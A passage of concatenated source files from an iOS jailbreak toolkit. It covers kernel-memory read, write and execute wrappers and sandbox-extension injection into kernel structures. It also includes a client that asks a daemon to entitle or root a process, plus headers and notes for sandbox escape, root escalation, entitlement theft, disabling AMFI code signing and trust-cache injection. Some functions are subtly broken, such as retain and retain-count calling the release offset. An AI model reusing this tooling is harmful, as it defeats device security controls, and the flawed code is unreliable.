84 | return (int) kexecute(f, array, aArray, 0, 0, 0, 0, 0); 85 | } 86 | 87 | uint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){ 88 | uint64_t vtab = rk64(array); 89 | uint64_t f = rk64(vtab + off_OSArray_GetObject); 90 | 91 | return kexecute(f, array, idx, 0, 0, 0, 0, 0); 92 | } 93 | 94 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx){ 95 | uint64_t ret = _OSArray_GetObject(array, idx); 96 | 97 | if (ret != 0){ 98 | // XXX can it be not in zalloc?.. 99 | ret = zm_fix_addr(ret); 100 | } 101 | return ret; 102 | } 103 | 104 | void OSArray_RemoveObject(uint64_t array, unsigned int idx){ 105 | uint64_t vtab = rk64(array); 106 | uint64_t f = rk64(vtab + off_OSArray_RemoveObject); 107 | 108 | (void)kexecute(f, array, idx, 0, 0, 0, 0, 0); 109 | } 110 | 111 | // XXX error handling just for fun? :) 112 | uint64_t _OSUnserializeXML(const char* buffer) { 113 | size_t len = strlen(buffer) + 1; 114 | 115 | uint64_t ks = kalloc(len); 116 | kwrite(ks, buffer, len); 117 | 118 | uint64_t errorptr = 0; 119 | 120 | uint64_t rv = kexecute(find_osunserializexml(), ks, errorptr, 0, 0, 0, 0, 0); 121 | kfree(ks, len); 122 | 123 | return rv; 124 | } 125 | 126 | uint64_t OSUnserializeXML(const char* buffer) { 127 | uint64_t ret = _OSUnserializeXML(buffer); 128 | 129 | if (ret != 0) { 130 | // XXX can it be not in zalloc?.. 131 | ret = zm_fix_addr(ret); 132 | } 133 | 134 | return ret; 135 | } 136 | 137 | void OSObject_Release(uint64_t osobject) { 138 | uint64_t vtab = rk64(osobject); 139 | uint64_t f = rk64(vtab + off_OSObject_Release); 140 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); 141 | } 142 | 143 | void OSObject_Retain(uint64_t osobject) { 144 | uint64_t vtab = rk64(osobject); 145 | uint64_t f = rk64(vtab + off_OSObject_Release); 146 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); 147 | } 148 | 149 | uint32_t OSObject_GetRetainCount(uint64_t osobject) { 150 | uint64_t vtab = rk64(osobject); 151 | uint64_t f = rk64(vtab + off_OSObject_Release); 152 | return (uint32_t) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); 153 | } 154 | 155 | unsigned int OSString_GetLength(uint64_t osstring){ 156 | uint64_t vtab = rk64(osstring); 157 | uint64_t f = rk64(vtab + off_OSString_GetLength); 158 | return (unsigned int)kexecute(f, osstring, 0, 0, 0, 0, 0, 0); 159 | } 160 | 161 | char *OSString_CopyString(uint64_t osstring){ 162 | unsigned int length = OSString_GetLength(osstring); 163 | char *str = malloc(length + 1); 164 | str[length] = 0; 165 | 166 | kread(OSString_CStringPtr(osstring), str, length); 167 | return str; 168 | } 169 | -------------------------------------------------------------------------------- /empty_list/jailbreakd/osobject.h: -------------------------------------------------------------------------------- 1 | #define OSDictionary_ItemCount(dict) rk32(dict+20) 2 | #define OSDictionary_ItemBuffer(dict) rk64(dict+32) 3 | #define OSDictionary_ItemKey(buffer, idx) rk64(buffer+16*idx) 4 | #define OSDictionary_ItemValue(buffer, idx) rk64(buffer+16*idx+8) 5 | #define OSString_CStringPtr(str) rk64(str + 0x10) 6 | #define OSArray_ItemCount(arr) rk32(arr+0x14) 7 | #define OSArray_ItemBuffer(arr) rk64(arr+32) 8 | 9 | // see osobject.c for info 10 | 11 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val); 12 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key); 13 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict); 14 | void OSArray_RemoveObject(uint64_t array, unsigned int idx); 15 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx); 16 | int OSArray_Merge(uint64_t array, uint64_t aArray); 17 | uint64_t OSUnserializeXML(const char* buffer); 18 | 19 | void OSObject_Release(uint64_t osobject); 20 | void OSObject_Retain(uint64_t osobject); 21 | uint32_t OSObject_GetRetainCount(uint64_t osobject); 22 | 23 | unsigned int OSString_GetLength(uint64_t osstring); 24 | char *OSString_CopyString(uint64_t osstring); 25 | -------------------------------------------------------------------------------- /empty_list/jailbreakd/patchfinder64.h: -------------------------------------------------------------------------------- 1 | #ifndef PATCHFINDER64_H_ 2 | #define PATCHFINDER64_H_ 3 | 4 | #define CACHED_FIND(type, name) \ 5 | type __##name(void);\ 6 | type name(void) { \ 7 | type cached = 0; \ 8 | if (cached == 0) { \ 9 | cached = __##name(); \ 10 | } \ 11 | return cached; \ 12 | } \ 13 | type __##name(void) 14 | 15 | int init_kernel(uint64_t base, const char *filename); 16 | void term_kernel(void); 17 | 18 | // Fun part 19 | uint64_t find_allproc(void); 20 | uint64_t find_add_x0_x0_0x40_ret(void); 21 | uint64_t find_OSBoolean_True(void); 22 | uint64_t find_OSBoolean_False(void); 23 | uint64_t find_zone_map_ref(void); 24 | uint64_t find_osunserializexml(void); 25 | uint64_t find_smalloc(void); 26 | 27 | #endif 28 | -------------------------------------------------------------------------------- /empty_list/jailbreakd/sandbox.c: -------------------------------------------------------------------------------- 1 | #include "kmem.h" 2 | #include "kern_utils.h" 3 | #include "sandbox.h" 4 | #include "patchfinder64.h" 5 | #include "kexecute.h" 6 | 7 | 8 | typedef uint64_t extension_hdr_t; 9 | typedef uint64_t extension_t; 10 | 11 | struct extension_hdr { 12 | /* 0x00 */ extension_hdr_t next; 13 | /* 0x08 */ uint64_t desc; 14 | /* 0x10 */ extension_t ext_lst; 15 | /* 0x18 */ 16 | }; 17 | 18 | struct extension { 19 | /* 0x00 */ extension_t next; 20 | /* 0x08 */ uint64_t desc; // always 0xffffffffffffffff 21 | /* 0x10 */ uint64_t ext_lst; // zero, since it's extension and not a header 22 | /* 0x18 */ uint8_t something[32]; // zeroed from what I've seen 23 | /* 0x38 */ uint32_t type; // see ext_type enum 24 | /* 0x3c */ uint32_t subtype; // either 0 or 4 (or whatever unhex gave?..) 25 | /* 0x40 */ uint64_t data; // a c string, meaning depends on type and hdr which had this extension 26 | /* 0x48 */ uint64_t data_len; // strlen(data) 27 | /* 0x50 */ uint64_t unk0; // always 0 28 | /* 0x58 */ uint64_t unk1; // always 0xdeadbeefdeadbeef 29 | /* 0x60 */ 30 | }; 31 | 32 | uint64_t _smalloc(uint64_t size) { 33 | return kexecute(find_smalloc(), size, 0, 0, 0, 0, 0, 0); 34 | } 35 | 36 | uint64_t smalloc(uint64_t size) { 37 | uint64_t ret = _smalloc(size); 38 | 39 | if (ret != 0) { 40 | // IOAlloc's of small size go to zalloc 41 | ret = zm_fix_addr(ret); 42 | } 43 | 44 | return ret; 45 | } 46 | 47 | uint64_t sstrdup(const char* s) { 48 | size_t slen = strlen(s) + 1; 49 | 50 | uint64_t ks = smalloc(slen); 51 | if (ks) { 52 | kwrite(ks, s, slen); 53 | } 54 | 55 | return ks; 56 | } 57 | 58 | // Notice: path should *not* end with '/' ! 59 | uint64_t extension_create_file(const char* path, uint64_t nextptr) { 60 | size_t slen = strlen(path); 61 | 62 | if (path[slen - 1] == '/') { 63 | fprintf(stderr, "No traling slash in path pls\n"); 64 | return 0; 65 | } 66 | 67 | uint64_t ext_p = smalloc(sizeof(struct extension)); 68 | uint64_t ks = sstrdup(path); 69 | 70 | if (ext_p && ks) { 71 | struct extension ext; 72 | bzero(&ext, sizeof(ext)); 73 | ext.next = nextptr; 74 | ext.desc = 0xffffffffffffffff; 75 | 76 | // ext.type = 0; 77 | // ext.subtype = 0; 78 | 79 | ext.data = ks; 80 | ext.data_len = slen; 81 | 82 | kwrite(ext_p, &ext, sizeof(ext)); 83 | } else { 84 | // XXX oh no a leak 85 | } 86 | 87 | return ext_p; 88 | } 89 | 90 | 91 | // get 64 higher bits of 64bit int multiplication 92 | // https://stackoverflow.com/a/28904636 93 | // ofc in asm it's done with 1 instruction huh 94 | // XXX there has to be a cleaner way utilizing hardware support 95 | uint64_t mulhi(uint64_t a, uint64_t b) { 96 | uint64_t a_lo = (uint32_t)a; 97 | uint64_t a_hi = a >> 32; 98 | uint64_t b_lo = (uint32_t)b; 99 | uint64_t b_hi = b >> 32; 100 | 101 | uint64_t a_x_b_hi = a_hi * b_hi; 102 | uint64_t a_x_b_mid = a_hi * b_lo; 103 | uint64_t b_x_a_mid = b_hi * a_lo; 104 | uint64_t a_x_b_lo = a_lo * b_lo; 105 | 106 | uint64_t carry_bit = ((uint64_t)(uint32_t)a_x_b_mid + 107 | (uint64_t)(uint32_t)b_x_a_mid + 108 | (a_x_b_lo >> 32) ) >> 32; 109 | 110 | uint64_t multhi = a_x_b_hi + 111 | (a_x_b_mid >> 32) + (b_x_a_mid >> 32) + 112 | carry_bit; 113 | 114 | return multhi; 115 | } 116 | 117 | int hashing_magic(const char *desc) { 118 | // inlined into exception_add 119 | uint64_t hashed = 0x1505; 120 | 121 | // if desc == NULL, then returned value would be 8 122 | // APPL optimizes it for some reason 123 | // but meh, desc should never be NULL or you get 124 | // null dereference in exception_add 125 | // if (desc == NULL) return 8; 126 | 127 | if (desc != NULL) { 128 | for (const char* dp = desc; *dp != '\0'; ++dp) { 129 | hashed += hashed << 5; 130 | hashed += (int64_t) *dp; 131 | } 132 | } 133 | 134 | uint64_t magic = 0xe38e38e38e38e38f; 135 | 136 | uint64_t hi = mulhi(hashed, magic); 137 | hi >>= 3; 138 | hi = (hi<<3) + hi; 139 | 140 | hashed -= hi; 141 | 142 | return hashed; 143 | } 144 | 145 | static const char *ent_key = "com.apple.security.exception.files.absolute-path.read-only"; 146 | 147 | uint64_t make_ext_hdr(const char* key, uint64_t ext_lst) { 148 | struct extension_hdr hdr; 149 | 150 | uint64_t khdr = smalloc(sizeof(hdr)); 151 | 152 | if (khdr) { 153 | // we add headers to end 154 | hdr.next = 0; 155 | hdr.desc = sstrdup(key); 156 | if (hdr.desc == 0) { 157 | // XXX leak 158 | return 0; 159 | } 160 | 161 | hdr.ext_lst = ext_lst; 162 | kwrite(khdr, &hdr, sizeof(hdr)); 163 | } 164 | 165 | return khdr; 166 | } 167 | 168 | void extension_add(uint64_t ext, uint64_t sb, const char* desc) { 169 | // XXX patchfinder + kexecute would be way better 170 | 171 | int slot = hashing_magic(ent_key); 172 | uint64_t insert_at_p = sb + sizeof(void*) + slot * sizeof(void*); 173 | uint64_t insert_at = rk64(insert_at_p); 174 | 175 | while (insert_at != 0) { 176 | uint64_t kdsc = rk64(insert_at + offsetof(struct extension_hdr, desc)); 177 | 178 | if (kstrcmp(kdsc, desc) == 0) { 179 | break; 180 | } 181 | 182 | insert_at_p = insert_at; 183 | insert_at = rk64(insert_at); 184 | } 185 | 186 | if (insert_at == 0) { 187 | insert_at = make_ext_hdr(ent_key, ext); 188 | wk64(insert_at_p, insert_at); 189 | } else { 190 | // XXX no duplicate check 191 | uint64_t ext_lst_p = insert_at + offsetof(struct extension_hdr, ext_lst); 192 | uint64_t ext_lst = rk64(ext_lst_p); 193 | 194 | while (ext_lst != 0) { 195 | fprintf(stderr, "ext_lst_p = 0x%llx ext_lst = 0x%llx\n", ext_lst_p, ext_lst); 196 | ext_lst_p = ext_lst + offsetof(struct extension, next); 197 | ext_lst = rk64(ext_lst_p); 198 | } 199 | 200 | fprintf(stderr, "ext_lst_p = 0x%llx ext_lst = 0x%llx\n", ext_lst_p, ext_lst); 201 | 202 | wk64(ext_lst_p, ext); 203 | } 204 | } 205 | 206 | // 1 if yes 207 | int has_file_extension(uint64_t sb, const char* path) { 208 | const char* desc = ent_key; 209 | int found = 0; 210 | 211 | int slot = hashing_magic(ent_key); 212 | uint64_t insert_at_p = sb + sizeof(void*) + slot * sizeof(void*); 213 | uint64_t insert_at = rk64(insert_at_p); 214 | 215 | while (insert_at != 0) { 216 | uint64_t kdsc = rk64(insert_at + offsetof(struct extension_hdr, desc)); 217 | 218 | if (kstrcmp(kdsc, desc) == 0) { 219 | break; 220 | } 221 | 222 | insert_at_p = insert_at; 223 | insert_at = rk64(insert_at); 224 | } 225 | 226 | if (insert_at != 0) { 227 | uint64_t ext_lst = rk64(insert_at + offsetof(struct extension_hdr, ext_lst)); 228 | 229 | uint64_t plen = strlen(path); 230 | char *exist = malloc(plen + 1); 231 | exist[plen] = '\0'; 232 | 233 | while (ext_lst != 0) { 234 | // XXX no type/subtype check 235 | uint64_t data_len = rk64(ext_lst + offsetof(struct extension, data_len)); 236 | if (data_len == plen) { 237 | uint64_t data = rk64(ext_lst + offsetof(struct extension, data)); 238 | kread(data, exist, plen); 239 | 240 | if (strcmp(path, exist) == 0) { 241 | found = 1; 242 | break; 243 | } 244 | } 245 | 246 | ext_lst = rk64(ext_lst); 247 | } 248 | 249 | 250 | free(exist); 251 | } 252 | 253 | return found; 254 | } 255 | -------------------------------------------------------------------------------- /empty_list/jailbreakd/sandbox.h: -------------------------------------------------------------------------------- 1 | 2 | // see https://stek29.rocks/2018/01/26/sandbox.html 3 | 4 | void extension_add(uint64_t ext, uint64_t sb, const char* desc); 5 | uint64_t extension_create_file(const char* path, uint64_t nextptr); 6 | int has_file_extension(uint64_t sb, const char* path); 7 | -------------------------------------------------------------------------------- /empty_list/jailbreakd_client/Ent.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | platform-application 5 | 6 | com.apple.private.security.container-required 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /empty_list/jailbreakd_client/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = jailbreakd_client 2 | OUTDIR ?= bin 3 | 4 | CC = xcrun -sdk iphoneos cc -arch arm64 5 | LDID = ldid 6 | CFLAGS = -Wall 7 | 8 | .PHONY: all clean 9 | 10 | all: $(OUTDIR)/$(TARGET) 11 | 12 | DEBUG ?= 0 13 | ifeq ($(DEBUG), 1) 14 | CFLAGS += -DJAILBREAKD_CLIENT_DEBUG 15 | else 16 | CFLAGS += -O2 17 | endif 18 | 19 | $(OUTDIR): 20 | mkdir -p $(OUTDIR) 21 | 22 | $(OUTDIR)/$(TARGET): jailbreakd_client.m | $(OUTDIR) 23 | $(CC) -o $@ $^ -framework Foundation $(CFLAGS) 24 | $(LDID) -SEnt.plist $@ 25 | 26 | clean: 27 | rm -f $(OUTDIR)/$(TARGET) 28 | -------------------------------------------------------------------------------- /empty_list/jailbreakd_client/jailbreakd_client.m: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define BUFSIZE 1024 11 | 12 | #define JAILBREAKD_COMMAND_ENTITLE 1 13 | #define JAILBREAKD_COMMAND_PLATFORMIZE 2 14 | #define JAILBREAKD_COMMAND_FIXUP_SETUID 6 15 | 16 | struct __attribute__((__packed__)) JAILBREAKD_ENTITLE_PID { 17 | uint8_t Command; 18 | int32_t Pid; 19 | }; 20 | 21 | int main(int argc, char **argv, char **envp) { 22 | if (argc < 3){ 23 | printf("Usage: \n"); 24 | printf("jailbreakd_client <1 | 2 | 6>\n"); 25 | printf("\t1 = entitle+platformize the target PID\n"); 26 | printf("\t2 = entitle+platformize the target PID and subsequently sent SIGCONT\n"); 27 | printf("\t6 = fixup setuid in the target PID\n"); 28 | return 0; 29 | } 30 | if (atoi(argv[2]) != 1 && atoi(argv[2]) != 2 && atoi(argv[2]) != 6){ 31 | printf("Usage: \n"); 32 | printf("jailbreakd_client <1 | 2 | 6>\n"); 33 | printf("\t1 = entitle the target PID\n"); 34 | printf("\t2 = entitle+platformize the target PID and subsequently sent SIGCONT\n"); 35 | printf("\t6 = fixup setuid in the target PID\n"); 36 | return 0; 37 | } 38 | 39 | int sockfd, portno, n; 40 | int serverlen; 41 | struct sockaddr_in serveraddr; 42 | struct hostent *server; 43 | char *hostname; 44 | char buf[BUFSIZE]; 45 | 46 | hostname = "127.0.0.1"; 47 | portno = 5; 48 | 49 | sockfd = socket(AF_INET, SOCK_DGRAM, 0); 50 | if (sockfd < 0) 51 | printf("ERROR opening socket\n"); 52 | 53 | /* gethostbyname: get the server's DNS entry */ 54 | server = gethostbyname(hostname); 55 | if (server == NULL) { 56 | fprintf(stderr,"ERROR, no such host as %s\n", hostname); 57 | exit(0); 58 | } 59 | 60 | /* build the server's Internet address */ 61 | bzero((char *) &serveraddr, sizeof(serveraddr)); 62 | serveraddr.sin_family = AF_INET; 63 | bcopy((char *)server->h_addr, 64 | (char *)&serveraddr.sin_addr.s_addr, server->h_length); 65 | serveraddr.sin_port = htons(portno); 66 | 67 | /* get a message from the user */ 68 | bzero(buf, BUFSIZE); 69 | 70 | struct JAILBREAKD_ENTITLE_PID entitlePacket; 71 | entitlePacket.Pid = atoi(argv[1]); 72 | 73 | int arg = atoi(argv[2]); 74 | if (arg == 1) 75 | entitlePacket.Command = JAILBREAKD_COMMAND_ENTITLE; 76 | else if (arg == 2) 77 | entitlePacket.Command = JAILBREAKD_COMMAND_PLATFORMIZE; 78 | else if (arg == 6) 79 | entitlePacket.Command = JAILBREAKD_COMMAND_FIXUP_SETUID; 80 | 81 | memcpy(buf, &entitlePacket, sizeof(struct JAILBREAKD_ENTITLE_PID)); 82 | 83 | serverlen = sizeof(serveraddr); 84 | n = sendto(sockfd, buf, sizeof(struct JAILBREAKD_ENTITLE_PID), 0, (const struct sockaddr *)&serveraddr, serverlen); 85 | if (n < 0) 86 | printf("Error in sendto\n"); 87 | 88 | return 0; 89 | } 90 | 91 | // vim:ft=objc 92 | -------------------------------------------------------------------------------- /empty_list/jelbrek/QiLin.h: -------------------------------------------------------------------------------- 1 | // 2 | // jjt.h 3 | // QiLin 4 | // 5 | // Created by JL on 12/7/17. 6 | // Copyright © 2017 NewOSXBook. All rights reserved. 7 | 8 | // Revision 3: Added spawnAndPlatformize(), 9 | // moved to posix_spawn() implementation for exec() family 10 | // actually exported the set*Reporter functions (formerly ErrorHandler.. etc - 11 | // "Reporter" is more accurate, because they allow you to propagate messages to 12 | // a GUI. 13 | // 14 | // Revision 4: Added kexec (executeInKernel) 15 | // 16 | // Revision 5: KMR/KMW (Kernel memory read/write) functions weren't exported! Oops! 17 | // 18 | 19 | #ifndef qilin_h 20 | #define qilin_h 21 | #include 22 | #include 23 | #include 24 | 25 | 26 | char *getMachine (void); 27 | char *getOSVer(void); 28 | 29 | // Update - To make kernel_task ("TFP0") less operation easier 30 | typedef int (*KMRFunc)(uint64_t Address, uint64_t Len, void **To); 31 | typedef int (*KMWFunc)(uint64_t Address, uint64_t Len, void *From); 32 | void setKernelMemoryReadFunction(KMRFunc F); 33 | void setKernelMemoryWriteFunction(KMWFunc F); 34 | 35 | // MUST call either initQiLin first - with or without TFP0, though, that's your call. 36 | 37 | 38 | int initQiLin (mach_port_t TFP0, uint64_t KernelBase); 39 | int initQiLinWithKMRW(uint64_t KernelBase, KMRFunc Kmr, KMWFunc Kmw); 40 | 41 | 42 | // System wide effects 43 | // 44 | int remountRootFS (void); 45 | pid_t execCommand(char *Cmd, char *Arg1, char *Arg2, char *Arg3, char *Arg4, char *Arg5 , int Flags); 46 | int execCommandAndWait(char *Cmd, char *Arg1, char *Arg2, char *Arg3, char *Arg4, char *Arg5); 47 | 48 | int setTFP0AsHostSpecialPort4 (void); 49 | 50 | // 1/17/18 - This is super useful 51 | int spawnAndPlatformize (char *AmfidebPath, char *Arg1, char *Arg2, char *Arg3 , char *Arg4, char *Arg5); 52 | int spawnAndShaiHulud (char *AmfidebPath, char *Arg1, char *Arg2, char *Arg3 , char *Arg4, char *Arg5); 53 | 54 | 55 | int moveFileFromAppDir (char *File, char *Dest); 56 | int disableAutoUpdates(void); 57 | 58 | // Code signing 59 | 60 | // Will set AMFId's exception ports and thereby disable code signing 61 | // 62 | int castrateAmfid (void); 63 | 64 | // Utility function - you probably won't need this directly. 65 | #define ALGORITHM_SHA256 2 66 | #define ALGORITHM_SHA1 1 67 | char *cdHashOfFile(char *fileName,int Algorithm); // Calculate CDHash of a given Mach-O (for messing with AMFI) 68 | 69 | int platformizeProcAtAddr(uint64_t addr); 70 | 71 | // Kernel Memory access (wrappers over kernel_task send right) 72 | uint64_t findKernelSymbol (char *Symbol); 73 | void setKernelSymbol (char *Symbol, uint64_t Address); 74 | 75 | int readKernelMemory(uint64_t Address, uint64_t Len, void **To); 76 | int writeKernelMemory(uint64_t Address, uint64_t Len, void *From); 77 | 78 | // 03/20/2018: Kernel execution 79 | 80 | int kexec(uint64_t Address, uint64_t Arg0, uint64_t Arg1,uint64_t Arg2,uint64_t Arg3,uint64_t Arg4,uint64_t Arg5,uint64_t Arg6); 81 | 82 | 83 | // 03/20/2018 84 | uint64_t getAddressOfPort(pid_t Pid, mach_port_name_t Port); 85 | 86 | // Not recommended, but doable: Bestow task port of Pid in TargetPid 87 | mach_port_t task_for_pid_in_kernel (pid_t Pid, pid_t TargetPid); 88 | 89 | //-------------------------------------- 90 | 91 | // Process manipulation functions 92 | 93 | // Finds the address of struct proc for this pid_t in kernel memory. 94 | uint64_t getProcStructForPid(pid_t); 95 | 96 | // Finds the pid of a process given its (base) name. Note this will only 97 | // work on processes you are the owner of (or all, if root) - this is intentional 98 | pid_t findPidOfProcess (char *ProcName) ; 99 | 100 | int setCSFlagsForProcAtAddr(uint64_t ProcStructAddr, int Flags, int Set); 101 | int setCSFlagsForPid (pid_t Whom, uint32_t Flags); 102 | int platformizePid(pid_t Whom); 103 | int rootifyPid(pid_t Whom); 104 | int ShaiHuludPid (pid_t Whom); 105 | int unShaiHuludPid (pid_t Whom); 106 | 107 | 108 | 109 | uint64_t borrowEntitlementsFromDonor(char *UnwittingDonor, char *Arg); 110 | // By request :-) 111 | uint64_t borrowEntitlementsFromPid(pid_t Pid); 112 | 113 | 114 | 115 | // Presently, limited to two entitlements, and assumed boolean (true) 116 | int entitlePidWithKernelEnts (pid_t Whom, char *Ent1, char *Ent2); 117 | 118 | // Convenience functions - do all the above , but on my process 119 | 120 | int platformizeMe (void); 121 | int rootifyMe(void); 122 | 123 | // Escape sandbox: 124 | // call with 0 to assume kernel cred, else specify value. Will return origCreds 125 | uint64_t ShaiHuludMe(uint64_t OtherCredsOr0ForKernelCreds); 126 | void unShaiHuludMe(uint64_t OrigCreds); 127 | int entitleMe(char *entitlementString); 128 | 129 | uint64_t getKernelCredAddr (void); 130 | 131 | 132 | 133 | /// Launchd handling utilities - just for you @launchderp :-) 134 | int makeLaunchdPlist (char *PlistName, char *Program, char *ProgramArguments, char *StandardOutputPath, char *StandardErrorPath, int RunAtLoad); 135 | int launjctlLaunchdPlist(char *Name); 136 | 137 | // I use these internally, not sure anyone else would need them 138 | int launjctlPrintSystem (void); 139 | int launjctlDumpState(void); 140 | 141 | 142 | // This one is still in progress. Don't use it please. 143 | int movePortToPid(mach_port_t PortMoved, pid_t Pid, mach_port_name_t Name); 144 | int spawnJailbreakServer (char *Name, mach_port_t TFP0, mach_port_name_t NameInTarget); 145 | 146 | // UI Support: 147 | // Provide status, error and debug print outs to user, 148 | // which may be redirected to GUI views, etc. 149 | // Default implmenentations are NSLog. 150 | 151 | typedef void (status_func) (char *,...); 152 | void setStatusReporter (status_func *Func); 153 | void setErrorReporter (status_func *Func); 154 | void setDebugReporter (status_func *Func); 155 | 156 | 157 | // Utility functions you probably won't need unless you want to do your own debugging 158 | void hexDump(void *Mem, int Len, uint64_t Addr); 159 | void dumpARMThreadState64(_STRUCT_ARM_THREAD_STATE64 *old_state); 160 | 161 | // Even more Internal/advanced use: 162 | uint64_t findKernelTask (void); 163 | uint64_t findMyProcStructInKernelMemory(void); // For other advanced uses I haven't provided already 164 | 165 | 166 | #endif /* qilin_h */ 167 | -------------------------------------------------------------------------------- /empty_list/jelbrek/amfi_utils.h: -------------------------------------------------------------------------------- 1 | 2 | // 3 | // amfi_utils.h 4 | // electra 5 | // 6 | // Created by Jamie on 27/01/2018. 7 | // Copyright © 2018 Electra Team. All rights reserved. 8 | // 9 | 10 | #ifndef amfi_utils_h 11 | #define amfi_utils_h 12 | 13 | #include 14 | 15 | #define MACHO(p) ((*(unsigned int *)(p) & ~1) == 0xfeedface) 16 | 17 | int strtail(const char *str, const char *tail); 18 | void getSHA256inplace(const uint8_t* code_dir, uint8_t *out); 19 | uint8_t *getSHA256(const uint8_t* code_dir); 20 | uint8_t *getCodeDirectory(const char* name); 21 | 22 | // thx hieplpvip 23 | void inject_trusts(int pathc, const char *paths[]); 24 | 25 | // Trust cache types 26 | typedef char hash_t[20]; 27 | 28 | struct trust_chain { 29 | uint64_t next; 30 | unsigned char uuid[16]; 31 | unsigned int count; 32 | } __attribute__((packed)); 33 | 34 | /* 35 | Note this patch still came from @xerub's KPPless branch, but detailed below is kind of my adventures which I rediscovered most of what he did 36 | 37 | So, as said on twitter by @Morpheus______, iOS 11 now uses SHA256 for code signatures, rather than SHA1 like before. 38 | What confuses me though is that I believe the overall CDHash is SHA1, but each subhash is SHA256. In AMFI.kext, the memcmp 39 | used to check between the current hash and the hashes in the cache seem to be this CDHash. So the question is do I really need 40 | to get every hash, or just the main CDHash and insert that one into the trust chain? 41 | 42 | If we look at the trust chain code checker (0xFFFFFFF00637B3E8 6+ 11.1.2), it is pretty basic. The trust chain is in the format of 43 | the following (struct from xerub, but I've checked with AMFI that it is the case): 44 | 45 | struct trust_mem { 46 | uint64_t next; // +0x00 - the next struct trust_mem 47 | unsigned char uuid[16]; // +0x08 - The uuid of the trust_mem (it doesn't seem important or checked apart from when importing a new trust chain) 48 | unsigned int count; // +0x18 - Number of hashes there are 49 | unsigned char hashes[]; // +0x1C - The hashes 50 | } 51 | 52 | The trust chain checker does the following: 53 | - Find the first struct that has a count > 0 54 | - Loop through all the hashes in the struct, comparing with the current hash 55 | - Keeps going through each chain, then when next is 0, it finishes 56 | 57 | UPDATE: a) was using an old version of JTool. Now I realised the CDHash is SHA256 58 | b) For launchd (whose hash resides in the AMFI cache), the first byte is used as an index sort of thing, and the next *19* bytes are used for the check 59 | This probably means that only the first 20 bytes of the CDHash are used in the trust cache check 60 | 61 | So our execution method is as follows: 62 | - Calculate the CD Hashes for the target resources that we want to play around with 63 | - Create a custom trust chain struct, and insert it into the existing trust chain - only storing the first 20 bytes of each hash 64 | - ??? PROFIT 65 | */ 66 | 67 | #endif /* amfi_utils_h */ 68 | -------------------------------------------------------------------------------- /empty_list/jelbrek/amfi_utils.m: -------------------------------------------------------------------------------- 1 | // Comes from Electra, adapted for FAT binary support by me 2 | // 3 | // amfi_utils.c 4 | // electra 5 | // 6 | // Created by Jamie on 27/01/2018. 7 | // Copyright © 2018 Electra Team. All rights reserved. 8 | // 9 | 10 | #include "amfi_utils.h" 11 | #include "kern_utils.h" 12 | #include "patchfinder64.h" 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | uint32_t swap_uint32( uint32_t val ) { 20 | val = ((val << 8) & 0xFF00FF00 ) | ((val >> 8) & 0xFF00FF ); 21 | return (val << 16) | (val >> 16); 22 | } 23 | 24 | uint32_t read_magic(FILE* file, off_t offset) { 25 | uint32_t magic; 26 | fseek(file, offset, SEEK_SET); 27 | fread(&magic, sizeof(uint32_t), 1, file); 28 | return magic; 29 | } 30 | 31 | void *load_bytes(FILE *file, off_t offset, size_t size) { 32 | void *buf = calloc(1, size); 33 | fseek(file, offset, SEEK_SET); 34 | fread(buf, size, 1, file); 35 | return buf; 36 | } 37 | 38 | void getSHA256inplace(const uint8_t* code_dir, uint8_t *out) { 39 | if (code_dir == NULL) { 40 | printf("NULL passed to getSHA256inplace!\n"); 41 | return; 42 | } 43 | uint32_t* code_dir_int = (uint32_t*)code_dir; 44 | 45 | uint32_t realsize = 0; 46 | for (int j = 0; j < 10; j++) { 47 | if (swap_uint32(code_dir_int[j]) == 0xfade0c02) { 48 | realsize = swap_uint32(code_dir_int[j+1]); 49 | code_dir += 4*j; 50 | } 51 | } 52 | 53 | CC_SHA256(code_dir, realsize, out); 54 | } 55 | 56 | uint8_t *getSHA256(const uint8_t* code_dir) { 57 | uint8_t *out = malloc(CC_SHA256_DIGEST_LENGTH); 58 | getSHA256inplace(code_dir, out); 59 | return out; 60 | } 61 | 62 | uint8_t *getCodeDirectory(const char* name) { 63 | 64 | FILE* fd = fopen(name, "r"); 65 | 66 | uint32_t magic; 67 | fread(&magic, sizeof(magic), 1, fd); 68 | fseek(fd, 0, SEEK_SET); 69 | 70 | long off = 0, file_off = 0; 71 | int ncmds = 0; 72 | BOOL foundarm64 = false; 73 | 74 | if (magic == MH_MAGIC_64) { // 0xFEEDFACF 75 | struct mach_header_64 mh64; 76 | fread(&mh64, sizeof(mh64), 1, fd); 77 | off = sizeof(mh64); 78 | ncmds = mh64.ncmds; 79 | } 80 | else if (magic == MH_MAGIC) { 81 | printf("[-] %s is 32bit. What are you doing here?\n", name); 82 | fclose(fd); 83 | return NULL; 84 | } 85 | else if (magic == 0xBEBAFECA) { //FAT binary magic 86 | 87 | size_t header_size = sizeof(struct fat_header); 88 | size_t arch_size = sizeof(struct fat_arch); 89 | size_t arch_off = header_size; 90 | 91 | struct fat_header *fat = (struct fat_header*)load_bytes(fd, 0, header_size); 92 | struct fat_arch *arch = (struct fat_arch *)load_bytes(fd, arch_off, arch_size); 93 | 94 | int n = swap_uint32(fat->nfat_arch); 95 | printf("[*] Binary is FAT with %d architectures\n", n); 96 | 97 | while (n-- > 0) { 98 | magic = read_magic(fd, swap_uint32(arch->offset)); 99 | 100 | if (magic == 0xFEEDFACF) { 101 | printf("[*] Found arm64\n"); 102 | foundarm64 = true; 103 | struct mach_header_64* mh64 = (struct mach_header_64*)load_bytes(fd, swap_uint32(arch->offset), sizeof(struct mach_header_64)); 104 | file_off = swap_uint32(arch->offset); 105 | off = swap_uint32(arch->offset) + sizeof(struct mach_header_64); 106 | ncmds = mh64->ncmds; 107 | break; 108 | } 109 | 110 | arch_off += arch_size; 111 